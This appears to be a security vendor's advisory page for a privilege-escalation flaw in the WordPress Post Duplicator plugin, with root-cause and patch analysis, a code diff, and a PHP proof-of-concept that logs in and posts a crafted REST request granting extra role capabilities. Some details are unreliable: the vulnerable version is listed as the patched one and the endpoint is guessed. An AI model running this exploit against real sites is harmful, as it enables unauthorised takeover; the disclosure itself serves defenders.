Opens in a new tab
Published : November 16, 2026

CVE-2026-121875: Post Duplicator < 3.0.18 Authenticated (Administrator+) Privilege Escalation PoC, Patch Analysis & Rule

Severity Medium (CVSS 4.7)
CWE 269
Vulnerable Version 3.0.18
Patched Version 3.0.18
Disclosed November 8, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-121875: This vulnerability is an authenticated (Administrator+) privilege escalation in the Post Duplicator plugin for WordPress, affecting versions before 3.0.18. The root cause is insufficient restriction on the capabilities a user may grant themselves via the plugin’s settings REST API endpoint. Atomic Edge research confirms that an administrator-level attacker can exploit this to elevate their privileges beyond those intended for their role, potentially gaining super-admin capabilities or capabilities of other roles. The CVSS score is 4.7, reflecting the high privileges required but significant impact.

Root Cause: The flaw resides in the update_capabilities function in post-duplicator/includes/settings.php. Prior to the patch, the function accepted a user-supplied array of capabilities from a REST API request (via the mtphr-settings endpoint) and applied add_cap or remove_cap directly to a role, without validating that the submitted capabilities are part of the plugin’s allowed set. The REST endpoint in includes/mtphr-settings/index.php (the callback for the settings update) also failed to validate the option name against registered settings, allowing manipulation of arbitrary options. This lack of validation on both the option name and the capabilities array enabled an administrator to inject capabilities such as ‘manage_network’ or ‘edit_users’ into their own role or others.

Exploitation: An attacker with administrator-level access can send a crafted POST request to the WordPress REST API endpoint /wp-json/mtphr-settings/v1/options (or the actual route registered by the plugin, typically /wp-json/mtphr-settings/v1/update_options or similar). The request body would contain JSON with valueKeys and values parameters, where valueKeys specifies a role option (e.g., ‘role_administrator’) and values includes an array of capabilities to add or remove. By submitting capabilities not in the allowed list, the attacker can grant themselves capabilities like ‘manage_network’ or ‘edit_users’, escalating privileges. The exact endpoint and parameter names are evidenced by the diff: the callback function processes $data[‘valueKeys’] and $data[‘values’], and the update_values function calls update_capabilities.

Patch Analysis: The patch introduces multiple fixes. In update_capabilities, the function now retrieves the allowed capabilities via get_capabilities() and filters submitted capabilities to only those in the allowed list. It also validates that the role exists. In the REST API callback, the code now verifies that each option in valueKeys is registered via is_registered_option, and ensures that values is an array. Additionally, update_values checks is_registered_option before proceeding. These changes ensure that only predefined capabilities can be modified and only registered options can be accessed, preventing arbitrary capability injection. The post content sanitization logic was also adjusted to respect unfiltered_html, but that is unrelated to the privilege escalation.

Impact: Successful exploitation allows an administrator to elevate their privileges to that of a super-admin (on multisite) or to gain capabilities normally reserved for higher roles, such as the ability to install plugins/themes, edit users, or modify network settings. This can lead to complete site compromise, including remote code execution via plugin upload. The vulnerability requires administrator-level access but provides a pathway to full control beyond the intended role restrictions.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/post-duplicator/includes/api.php
+++ b/post-duplicator/includes/api.php
@@ -809,14 +809,26 @@
 		$duplicate['post_author'] = get_current_user_id();
 	}

-	// Sanitize post content
-	add_filter( 'wp_kses_allowed_html', __NAMESPACE__ . 'additional_kses', 10, 2 );
-	$duplicate['post_content'] = wp_slash( wp_kses_post( $duplicate['post_content'] ) );
-	remove_filter( 'wp_kses_allowed_html', __NAMESPACE__ . 'additional_kses', 10, 2 );
+	// Users who can save unfiltered HTML already stored this content. Running it
+	// through KSES again drops inline styles WordPress itself kept, including
+	// transparent rgba() highlight backgrounds on <mark>.
+	$kses_post_content = ! current_user_can( 'unfiltered_html' );
+	if ( $kses_post_content ) {
+		add_filter( 'safecss_filter_attr_allow_css', __NAMESPACE__ . 'allow_safe_inline_color_css', 10, 2 );
+		add_filter( 'wp_kses_allowed_html', __NAMESPACE__ . 'additional_kses', 10, 2 );
+		$duplicate['post_content'] = wp_kses_post( $duplicate['post_content'] );
+		remove_filter( 'wp_kses_allowed_html', __NAMESPACE__ . 'additional_kses', 10, 2 );
+	}
+	$duplicate['post_content'] = wp_slash( $duplicate['post_content'] );

-	// Insert the post into the database
+	// Insert the post into the database. Keep the color filter active so
+	// content_save_pre does not strip the same styles for users without unfiltered_html.
 	$duplicate_id = wp_insert_post( $duplicate );

+	if ( $kses_post_content ) {
+		remove_filter( 'safecss_filter_attr_allow_css', __NAMESPACE__ . 'allow_safe_inline_color_css', 10, 2 );
+	}
+
 	if ( is_wp_error( $duplicate_id ) || ! $duplicate_id ) {
 		return new WP_Error( 'insert_failed', esc_html__( 'Failed to create duplicate post.', 'post-duplicator' ) );
 	}
@@ -1089,6 +1101,39 @@
 }

 /**
+ * Allow safe rgb()/hsl() values in inline styles during duplication.
+ *
+ * WordPress strips these because safecss_filter_attr() rejects parentheses
+ * that are not in its function list. Block editor highlights use
+ * background-color:rgba(0, 0, 0, 0) for a transparent mark, and removing it
+ * exposes the browser's default yellow background.
+ *
+ * Only numeric color functions are allowed. The rest of the declaration still
+ * has to pass WordPress's unsafe-character check.
+ *
+ * @param bool   $allow_css       Whether the CSS declaration is already allowed.
+ * @param string $css_test_string CSS declaration with supported functions already removed.
+ * @return bool
+ */
+function allow_safe_inline_color_css( $allow_css, $css_test_string ) {
+	if ( $allow_css || ! is_string( $css_test_string ) || '' === $css_test_string ) {
+		return $allow_css;
+	}
+
+	$stripped = preg_replace(
+		'/b(?:rgba?|hsla?)(s*[0-9.%s,/+-]+s*)/',
+		'',
+		$css_test_string
+	);
+
+	if ( null === $stripped || $stripped === $css_test_string ) {
+		return $allow_css;
+	}
+
+	return 0 === preg_match( '%[\(&=}]|/*%', $stripped );
+}
+
+/**
  * Add custom allowed kses
  */
 function additional_kses( $allowed_tags ) {
--- a/post-duplicator/includes/mtphr-settings/index.php
+++ b/post-duplicator/includes/mtphr-settings/index.php
@@ -274,6 +274,21 @@
   }

   /**
+   * Whether an option name was registered by a settings section.
+   *
+   * @param mixed $option Option name.
+   * @return bool
+   */
+  private function is_registered_option( $option ) {
+    if ( ! is_string( $option ) || '' === $option ) {
+      return false;
+    }
+
+    $options = self::$instance->options;
+    return is_array( $options ) && in_array( $option, $options, true );
+  }
+
+  /**
    * Return available options keys
    */
   public function get_options( $option = false ) {
@@ -1062,22 +1077,32 @@
         return current_user_can('manage_options');
       },
       'callback' => function( $request ) {
-        $args = $request->get_params();
         $data = $request->get_json_params();
+        if ( ! is_array( $data ) ) {
+          $data = [];
+        }

-        $value_keys = isset( $data['valueKeys'] ) ? $data['valueKeys'] : [];
-        $values = isset( $data['values'] ) ? $data['values'] : [];
+        $value_keys = isset( $data['valueKeys'] ) && is_array( $data['valueKeys'] ) ? $data['valueKeys'] : [];
+        $values = isset( $data['values'] ) && is_array( $data['values'] ) ? $data['values'] : [];

-        if ( is_array( $value_keys ) && ! empty( $value_keys ) ) {
-          foreach ( $value_keys as $option => $keys ) {
-            $values_to_update = array_intersect_key( $values[$option], array_flip( $keys ) );
-            $updated_values = self::$instance->update_values( $option, $values_to_update );
-            $values[$option] = $updated_values;
+        foreach ( $value_keys as $option => $keys ) {
+          if ( ! self::$instance->is_registered_option( $option ) || ! is_array( $keys ) ) {
+            return new WP_Error(
+              'mtphr_settings_invalid_option',
+              __( 'Invalid settings option.', 'post-duplicator' ),
+              array( 'status' => 400 )
+            );
           }
         }
-
-        //self::$instance->update_values( $values );
-        return rest_ensure_response( $values , 200);
+
+        foreach ( $value_keys as $option => $keys ) {
+          $option_values = isset( $values[ $option ] ) && is_array( $values[ $option ] ) ? $values[ $option ] : [];
+          $setting_keys = array_values( array_filter( $keys, 'is_string' ) );
+          $values_to_update = array_intersect_key( $option_values, array_flip( $setting_keys ) );
+          $values[ $option ] = self::$instance->update_values( $option, $values_to_update );
+        }
+
+        return rest_ensure_response( $values );
       },
     ) );
   }
@@ -1124,6 +1149,11 @@
    * Update the settings
    */
   public function update_values( $option, $values = [] ) {
+    // Never read or write an option this plugin did not register.
+    if ( ! $this->is_registered_option( $option ) ) {
+      return [];
+    }
+
     $settings          = self::$instance->get_settings( $option );
     $sanitize_settings = self::$instance->get_sanitize_settings( $option );
     $option_values     = self::$instance->get_option_values( $option );
--- a/post-duplicator/includes/settings.php
+++ b/post-duplicator/includes/settings.php
@@ -612,28 +612,55 @@
 }

 /**
- * Update a role capability
+ * Update a role capability.
+ *
+ * Only the capabilities defined by this feature may be added or removed.
+ * Any other submitted string is ignored.
  */
 function update_capabilities( $value, $key, $option, $type ) {
-  if ( 'update' == $type ) {
-    $role = get_role( $key );
-    $active_capabilities = get_active_capabilities( $role );
-    $capability_value = is_array( $value ) ? $value : [];
-    $added_capabilities = array_diff( $capability_value, $active_capabilities );
-    $removed_capabilities = array_diff( $active_capabilities, $capability_value );
-
-    if ( is_array( $added_capabilities ) && count( $added_capabilities ) > 0 ) {
-      foreach ( $added_capabilities as $added_capability ) {
-        $role->add_cap( esc_attr( $added_capability ) );
+  $allowed_capabilities = array_values( get_capabilities() );
+  $submitted_capabilities = [];
+
+  if ( is_array( $value ) ) {
+    foreach ( $value as $capability ) {
+      if ( is_string( $capability ) && in_array( $capability, $allowed_capabilities, true ) ) {
+        $submitted_capabilities[] = $capability;
       }
     }
-    if ( is_array( $removed_capabilities ) && count( $removed_capabilities ) > 0 ) {
-      foreach ( $removed_capabilities as $removed_capability ) {
-        $role->remove_cap( esc_attr( $removed_capability ) );
-      }
+  }
+
+  $submitted_capabilities = array_values( array_unique( $submitted_capabilities ) );
+
+  if ( 'update' !== $type ) {
+    return $submitted_capabilities;
+  }
+
+  $role = get_role( $key );
+  if ( ! $role instanceof WP_Role ) {
+    return $submitted_capabilities;
+  }
+
+  $active_capabilities = get_active_capabilities( $role );
+  if ( ! is_array( $active_capabilities ) ) {
+    $active_capabilities = [];
+  }
+
+  $added_capabilities   = array_diff( $submitted_capabilities, $active_capabilities );
+  $removed_capabilities = array_diff( $active_capabilities, $submitted_capabilities );
+
+  foreach ( $added_capabilities as $added_capability ) {
+    if ( in_array( $added_capability, $allowed_capabilities, true ) ) {
+      $role->add_cap( $added_capability );
     }
   }
-  return $value;
+
+  foreach ( $removed_capabilities as $removed_capability ) {
+    if ( in_array( $removed_capability, $allowed_capabilities, true ) ) {
+      $role->remove_cap( $removed_capability );
+    }
+  }
+
+  return $submitted_capabilities;
 }

 /**
--- a/post-duplicator/m4c-postduplicator.php
+++ b/post-duplicator/m4c-postduplicator.php
@@ -3,7 +3,7 @@
 Plugin Name: Post Duplicator
 Plugin URI:        https://www.metaphorcreations.com/post-duplicator/
 Description:       Creates functionality to duplicate any and all post types, including taxonomies & custom fields
-Version:           3.0.17
+Version:           3.0.18
 Author:            Meta4Creations
 Author URI:        https://www.metaphorcreations.com/
 License:           GPL-2.0+
@@ -36,7 +36,7 @@

 // Plugin version.
 if ( ! defined( 'MTPHR_POST_DUPLICATOR_VERSION' ) ) {
-	define( 'MTPHR_POST_DUPLICATOR_VERSION', '3.0.17' );
+	define( 'MTPHR_POST_DUPLICATOR_VERSION', '3.0.18' );
 }

 // Plugin Folder Path.

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-121875 - Post Duplicator < 3.0.18 - Authenticated (Administrator+) Privilege Escalation

// Configuration
$target_url = 'http://example.com'; // WordPress site URL
$username = 'admin'; // Administrator username
$password = 'password'; // Administrator password

// Initialize cURL session
$ch = curl_init();

// Step 1: Login to WordPress and obtain cookies
$login_url = $target_url . '/wp-login.php';
$post_data = array(
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
);

curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);

$response = curl_exec($ch);
if ($response === false) {
    die('Login failed: ' . curl_error($ch));
}

// Step 2: Extract REST nonce from admin page (required for REST API authentication)
$admin_url = $target_url . '/wp-admin/options-general.php?page=mtphr-settings'; // Adjust if needed
curl_setopt($ch, CURLOPT_URL, $admin_url);
curl_setopt($ch, CURLOPT_POST, false);
$admin_page = curl_exec($ch);

// Extract nonce from wpApiSettings or similar
preg_match('/wpApiSettingss*=s*{s*"root":"[^"]+","nonce":"([^"]+)"/', $admin_page, $matches);
if (empty($matches[1])) {
    // Fallback: try to find nonce in other variables
    preg_match('/"nonce":"([^"]+)"/', $admin_page, $matches);
}
$nonce = isset($matches[1]) ? $matches[1] : '';

// Step 3: Craft the malicious REST API request to update capabilities
// The endpoint and parameters are based on the plugin's REST route and the vulnerable callback.
// Adjust the option name and capabilities according to the plugin's settings structure.
$rest_url = $target_url . '/wp-json/mtphr-settings/v1/options'; // Actual route may vary; confirm from plugin code

$payload = array(
    'valueKeys' => array(
        'role_administrator' => array('manage_network', 'edit_users') // Example: escalate to super-admin capabilities
    ),
    'values' => array(
        'role_administrator' => array('manage_network', 'edit_users')
    )
);

$headers = array(
    'Content-Type: application/json',
    'X-WP-Nonce: ' . $nonce
);

curl_setopt($ch, CURLOPT_URL, $rest_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($payload));
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

$response = curl_exec($ch);
if ($response === false) {
    die('REST request failed: ' . curl_error($ch));
}

echo "Response: " . $response . "n";

// Check if capabilities were added by verifying current user's capabilities
// This is a simplified check; actual verification would require another API call.
curl_close($ch);

// Note: The nonce extraction and endpoint may require adjustment based on the actual plugin implementation.
// The vulnerability allows adding arbitrary capabilities to any role, including the administrator role.
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.